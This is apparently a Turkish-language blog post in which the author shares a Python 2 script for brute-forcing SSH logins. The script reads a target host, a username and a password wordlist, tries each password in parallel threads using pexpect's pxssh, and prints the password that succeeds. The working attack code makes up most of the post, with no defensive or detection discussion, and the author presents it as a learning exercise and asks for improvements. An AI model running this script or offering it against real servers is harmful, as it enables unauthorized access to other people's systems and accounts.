Python ile SSH Brute Force Saldırısı
Merhaba arkadaşlar bugün python ile yazmış olduğum script'de parametre olarak hedef ip adresi(hostname) , username ve son olarak hedef üzerinde denenecek olan şifrelerin bulunduğu bir dosya yolu verdikten sonra verilen hedef üzerinde çalışan SSH'a login olmayan çalışan script'in amacını , kodlarını ve video ile kullanımı göstereceğim.Haydi bir giriş yapalım...
Arkadaşlar bu scripteki amacım şuydu.Internetten yaygın saldırıları incelerken karşıma SSH Brute Force saldırısı çıktı.Çalışma mantığında ise hedef üzerinde pekçok şifre deneyerek SSH'a login olmaya çalışan ve saldırı başarılı ile gerçekteştiğinde size yanıt veren bir script.Bende bu script'in nasıl çalıştığını anlayarak python üzerinde basit olarak kodlamaya çalıştım.Kullanıcından hedef'in ip addresi(hostname) sonrasında username alarak şu şekile geliyor -> "ssh hostname@username".Daha sonra şifrelerin olduğu dosya yolunu verdiğinizde artık çalışmaya hazır hala geliyor.Eğer başarılı bir şekilde giriş sağlanırsa sizi çalışan şifreyi geri göstererek çalışmasını bitiriyor.
Kötü kod yazdığım için üzgünüm.Daha iyi bir yazılımcı olmak için yazılım geliştirme ve problem çözme yeteneğim üzerinde hala uğraşmaktayım.
#SSH-Brute-Force.py # -*- coding: utf-8 -*- import argparse import threading from pexpect import pxssh import time max_connections = 5 connection_lock = threading.BoundedSemaphore(value=max_connections) Found = False Fails = 0 def connect(host, user, password, release): global Found global Fails try: s = pxssh.pxssh() s.login(host, user, password) print "-"*50 print('Password Found --> ' + password) print "-" * 50 Found = True except Exception as e: if 'read_nonblocking' in str(e): Fails += 1 time.sleep(5) connect(host, user, password, False) elif 'syncronize with original prompt' in str(e): time.sleep(1) connect(host, user, password, False) finally: if release: connection_lock.release() def main(): parser = argparse.ArgumentParser() parser.add_argument("--h","--host",help="Please enter the hostname" , type=str) parser.add_argument("--u","--user",help="Please enter the username" , type=str) parser.add_argument("--w","--word-list",help="Please enter the wordlist" , type=str) args = parser.parse_args() host = args.h user = args.u passwdFile = args.w fn = open(passwdFile, 'r') for line in fn.readlines(): if Found: print('Exiting') exit(0) if Fails > 5: print('Exiting: too many socket timeouts') exit(0) connection_lock.acquire() password = line.strip('\r').strip('\n') print('Testing --> ' + str(password)) t = threading.Thread(target=connect, args=(host, user, password, True)) child = t.start() if __name__ == '__main__': main()
Yukarıda paylaşmış olduğum kodda bir sıkıntı yada yapılabilecek iyileştirmeler için bana ulaşabilirseniz çok sevinirim.Okuduğunuz için çok teşekkür ederim.Esen kalın :)